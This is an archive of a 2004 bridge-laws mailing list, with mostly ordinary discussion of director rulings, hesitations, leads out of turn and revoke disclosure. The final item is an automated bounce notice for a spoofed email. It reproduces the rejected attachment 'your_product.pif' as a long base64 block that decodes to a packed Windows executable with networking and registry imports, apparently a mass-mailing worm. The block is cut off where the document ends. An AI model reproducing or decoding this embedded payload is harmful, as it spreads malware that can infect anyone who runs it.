>UI is an illogical Reveley ruling. But the ACBL proposal >to split scores at the earlier point-in-time of the >*giving* of UI is an even more illogical uber-Reveley >ruling. Richard has often mentioned these egregious rulings, and I suppose I am the only one on the list who is not quite certain what they are. Lest I should be tempted to fall into the same trap as Mr Reveley .. please explain? :( Tony (Sydney) From richard.hills@immi.gov.au Thu Mar 4 23:33:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 5 Mar 2004 09:33:36 +1000 Subject: [blml] another pausey one Message-ID: [snip] >Richard has often mentioned these egregious rulings, and I >suppose I am the only one on the list who is not quite certain >what they are. Lest I should be tempted to fall into the same >trap as Mr Reveley >... please explain? > >:( > >Tony (Sydney) EBU White Book, 2004 edition, section 16.3: [snip] (a) East doubles 4H slowly, and West pulls it to 4S making exactly. The TD decides the 4S bid was illegal, but decides to give a weighted adjustment because it is not clear how many tricks 4H doubled might make, and it might be taken out to 5C, which he might decide would be doubled and made. He might rule: 20% of NS +750 (5Cx =3D ) plus 40% of NS -200 (4Hx -1) plus 40% of NS -500 (4Hx -2) However, he is not allowed to rule: 20% of NS +750 (5Cx =3D ) plus 30% of NS -200 (4Hx -1) plus 30% of NS -500 (4Hx -2) plus 20% of NS -620 (4S =3D ) because he may not include the disallowed call 4S as part of the weighting. This is affectionately called a "Reveley ruling" because of a decision some years ago which brought this problem to the L&EC's notice. Some authorities in other countries permit Reveley rulings. [snip] Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From twm@cix.co.uk Thu Mar 4 23:07:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 4 Mar 2004 23:07 +0000 (GMT Standard Time) Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: <021e01c401a7$90958220$239468d5@tinyhrieuyik> Message-ID: > [Tim West-Meads] > > Get real Nigel. If an expert calls the TD and claims to > > have been misled because someone I know he knows is a > > novice hesitated in the bidding I will give him short shrift. > > The phrase "at own risk" springs to mind and, IMO, reading > > too much into a novice hesitation is plain stupid. > [Nigel] > Are you just trying to wind me up againt, Tim :) > Or do really think that an expert may not call the director > when he believes an apponent, however inept has profited by > an infraction. IMO, the expert is doing the Bunny a favour > in the long term by helping him to learn correct behaviour. Nigel, you may believe it is an infraction for a novice to think before making an "obvious" call. I, OTOH, am of the belief that novices very often need time to think because the call is not "obvious" to them. Correct behaviour is for people to *try* and bid in tempo. It is acknowledged that, where they consider themselves to have a problem, success is not required. > [Tim] > > Technically I'm calling him stupid for imagining that his > > decision was not made "at own risk" - a fine point perhaps:) > > Another possibility is that I am calling him stupid for > > thinking I will allow him to intimidate novices with silly > > director calls. > {Nigel] > I don't think the TD should indulge in name-calling at all. > The Bridge-table is not BLML :) And then the Bunny and the TD > will have a better chance of understanding that director-calls > aren't meant to be intimidating. My choice of language will vary depending on whether I think the TD call was based on genuine concern or was an attempt to intimidate/take advantage of novices. In the former I will exercise a degree of compassion to all concerned - in the latter I am acting to deal with behaviour I consider reprehensible and somewhat stronger language may reinforce that point. > [Tim] > > As will any law [depend the TD's past relationship to the > > players]. My enemies will tend to get slightly more generous > > rulings than friends as I may overcompensate a bit for the > > relationship. > [Nigel] > That may seem fair to you but IMO applying a law differently > to friends/enemies acqaintances/strangers is completely unfair > even if you are nastier to friends and acquaintances. In an ideal world I would rule with absolute consistency regardless of the people concerned. In the real world one is making delicate judgements (65% of score A, 35% of score B) and I might be a few % off when trying to be "fair". > [Tim] > > I don't brand anyone "bunnies". Amongst regulars I know which > > players are experienced/inexperienced. With strangers they will > > almost always say things like "I haven't been playing very long" > > or otherwise reveal their lack of experience. > [Nigel] > If you profit by an infraction but the TD chastises the poor > bloke who called him, instead of investigating his complaint > then there are only two likely explanations... > (a) The TD is overcome by a whiff of your "Hi Karate" or... > (b) The TD is Tim and judged you to be a Bunny. What about (c) There has been no infraction. I certainly don't recommend chastising anybody until the case has been investigated and once it has been considered chastisement is seldom necessary. What I do ask is that the laws give me the flexibility to chastise an expert for a deceptive hesitation even in a situation where I believe a bunny would stop and think. One standard does not fit all. > In summary, I am under the impression that it is illegal for a > TD to waive a penalty for an infraction that has been drawn to > his attention, unless a non-offender requests him to do so. It should go without saying that if I believe there has been an infraction I will rule against the infractor. My comments above were directed at situations where an expert *claims* an infraction when, IMO, it is damn obvious to him that no infraction has occurred. > If a beginner is not penalised and he realises he has broken > the law then he feels patronised. If he doesn't realise, then > he will learn bad habits. If a beginner is given the impression that he is not allowed to think when he seems to have a problem he will give up the game altogether. Tim From mario@bridge.org.mt Thu Mar 4 08:55:53 2004 From: mario@bridge.org.mt (Mario Dix) Date: Thu, 4 Mar 2004 09:55:53 +0100 Subject: [blml] Why does Law 56 exist? Message-ID: <004101c401c6$8065bcc0$5caea5d5@Mario> This is a multi-part message in MIME format. ------=_NextPart_000_0042_01C401CE.E22A24C0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit As some of you will realise, I am a new and fascinated devotee of blml. I only discovered this site when recently in Turin amongst the august gathering of very professional TDs there. It was a brilliant and stimulating course. Having broken cover by wasting time replying to DS's spurious puzzle last week (I should have known better!), I wish to ask a simple question. Why does Law 56 exist? If we are truly trying to simplify the Law book, why not simply extend the sentance of Law 54D to read "When declarer requires the defender to retract his faced opening lead out of turn, the card illegally led becomes a major penalty card, and Law 50D applies". In any case, shouldn't Law 54 have the heading of "Defender's faced lead out of turn"? Mario Dix ------=_NextPart_000_0042_01C401CE.E22A24C0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
As = some of you will=20 realise, I am a new and fascinated devotee of blml. I only discovered = this site=20 when recently in Turin amongst the august gathering of very professional = TDs=20 there. It was a brilliant and stimulating course. Having broken cover by = wasting=20 time replying to DS's spurious puzzle last week (I should have known = better!), I=20 wish to ask a simple question. Why does Law 56 = exist?
 
If we = are truly=20 trying to simplify the Law book, why not simply extend the sentance of = Law 54D=20 to read
 
"When = declarer=20 requires the defender to retract his faced opening lead out of turn, the = card=20 illegally led becomes a major penalty card, and Law 50D applies". In any = case,=20 shouldn't Law 54 have the heading of "Defender's faced lead out of=20 turn"?
 
Mario = Dix
 
 
 
 
 

------=_NextPart_000_0042_01C401CE.E22A24C0-- From gjmize@earthlink.net Fri Mar 5 02:06:04 2004 From: gjmize@earthlink.net (gjmize) Date: Thu, 04 Mar 2004 18:06:04 -0800 Subject: [blml] Re: (blml) Should you point out infractions Message-ID: <4047E08C.20308@earthlink.net> I am confused when I read law 72(9) it states ... there is no obligation to draw attention to an inadvertent infraction of law committed by one's own side. However, a player must not attempt to conceal such an infraction by committing a second revoke, concealing a card involved in a revoke, mixing the cards prematurely, or any similar type of action. I do not like this particular rule. The thread seems to say you are obligated to reveal the infraction against one's own side. Gloria Mize From blml@blakjak.com Fri Mar 5 02:17:48 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 5 Mar 2004 02:17:48 +0000 Subject: [blml] Why does Law 56 exist? In-Reply-To: <004101c401c6$8065bcc0$5caea5d5@Mario> References: <004101c401c6$8065bcc0$5caea5d5@Mario> Message-ID: Mario Dix wrote >As some of you will realise, I am a new and fascinated devotee of blml. >I only discovered this site when recently in Turin amongst the august >gathering of very professional TDs there. It was a brilliant and >stimulating course. Having broken cover by wasting time replying to >DS's spurious puzzle last week (I should have known better!), I wish to >ask a simple question. Why does Law 56 exist? >  >If we are truly trying to simplify the Law book, why not simply extend >the sentance of Law 54D to read >  >"When declarer requires the defender to retract his faced opening lead >out of turn, the card illegally led becomes a major penalty card, and >Law 50D applies". In any case, shouldn't Law 54 have the heading of >"Defender's faced lead out of turn"? Law 54 refers to Faced Opening Leads out of turn: Law 56 refers to those, and other leads out of turn apart form the opening lead. In other words, if a defender leads out of turn at trick 4, L56 applies but L54 does not. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Mar 5 02:19:59 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 5 Mar 2004 02:19:59 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <4047E08C.20308@earthlink.net> References: <4047E08C.20308@earthlink.net> Message-ID: gjmize wrote >I am confused when I read law 72(9) it states ... there is no >obligation to draw attention to an inadvertent infraction of law >committed by one's own side. However, a player must not attempt to >conceal such an infraction by committing a second revoke, concealing a >card involved in a revoke, mixing the cards prematurely, or any similar >type of action. I do not like this particular rule. > >The thread seems to say you are obligated to reveal the infraction >against one's own side. No, it does not. It says you are not allowed to hide by certain methods. But that is a far cry from pointing it out. If you revoke at the end of the hand you may sit there quietly saying nothing. That is ethical, that is legal. But hiding your revoke by revoking again, mixing the cards, and so on is not permitted. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From erdnbaum@netvision.net.il Fri Mar 5 08:24:43 2004 From: erdnbaum@netvision.net.il (Israel Erdnbaum) Date: Fri, 05 Mar 2004 10:24:43 +0200 Subject: [blml] Re: (blml) Should you point out infractions References: <4047E08C.20308@earthlink.net> Message-ID: <003801c4028b$50386780$dcbc84d9@mycomputer> ----- Original Message ----- From: "David Stevenson" To: Sent: Friday, March 05, 2004 4:19 AM Subject: Re: [blml] Re: (blml) Should you point out infractions > gjmize wrote > >I am confused when I read law 72(9) it states ... there is no > >obligation to draw attention to an inadvertent infraction of law > >committed by one's own side. However, a player must not attempt to > >conceal such an infraction by committing a second revoke, concealing a > >card involved in a revoke, mixing the cards prematurely, or any similar > >type of action. I do not like this particular rule. > > > >The thread seems to say you are obligated to reveal the infraction > >against one's own side. > > No, it does not. It says you are not allowed to hide by certain > methods. But that is a far cry from pointing it out. > > If you revoke at the end of the hand you may sit there quietly saying > nothing. -=That is -ethical - , that is legal. But hiding your revoke by > revoking again, mixing the cards, and so on is not permitted. > > -- Hi David "THAT is LEGAL" if you say so.But "ETHICAL" ? And you the gallant fighter for FULL DISCLOSURE. best regards Israel > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From moranl@netvision.net.il Fri Mar 5 10:23:15 2004 From: moranl@netvision.net.il (Eitan Levy) Date: Fri, 05 Mar 2004 12:23:15 +0200 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: <003801c4028b$50386780$dcbc84d9@mycomputer> References: <4047E08C.20308@earthlink.net> Message-ID: <5.1.1.6.1.20040305112609.01fc04c0@mail.netvision.net.il> At 10:24 AM 05-03-04 +0200, DWS wrote: snip > > If you revoke at the end of the hand you may sit there quietly saying > > nothing. -=That is -ethical - , that is legal. But hiding your >revoke by > > revoking again, mixing the cards, and so on is not permitted. > > > -- Israel reacted: >Hi David > "THAT is LEGAL" if you say so. Not only David says so: so does the law book L72B3 >But "ETHICAL" ? And you the gallant fighter >for FULL DISCLOSURE. >best regards >Israel What have the two got to do with one another? Full disclosure deals with not having secret agreements etc. It has nothing to do with staying awake at the table and noticing what has been played. The laws say your opponents should pay attention to the game (74B1) and the laws say you don't have to draw attention etc to your own revoke. To suggest that someone might be unethical because he has acted in accordance with the law is grossly unfair: Here is what the WBF Code of Practice has to say about ethics: quote 'A contestant may only be penalized for a lapse of ethics where a player is in breach of the provisions of the laws in respect of the conduct of players. A player who has conformed to the laws and regulations is not subject to criticism. This does not preclude encouragement of a generous attitude to opponents, especially in the exchange of information behind screens.' unquote Eitan Levy From Mailer-Daemon@python.dns-nac-zone.com Fri Mar 5 12:53:14 2004 From: Mailer-Daemon@python.dns-nac-zone.com (Mail Delivery System) Date: Fri, 05 Mar 2004 07:53:14 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: info@encountervideo.com This message has been rejected because it has a potentially executable attachment "your_product.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [81.53.96.83] (helo=encountervideo.com) by python.dns-nac-zone.com with esmtp (Exim 4.24) id 1AzEpF-00048j-7H for info@encountervideo.com; Fri, 05 Mar 2004 07:53:13 -0500 From: blml@rtflb.org To: info@encountervideo.com Subject: Re: Your product Date: Fri, 5 Mar 2004 13:53:06 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_00001449.000012FB" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0013_00001449.000012FB Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0013_00001449.000012FB Content-Type: application/octet-stream; name="your_product.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_product.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 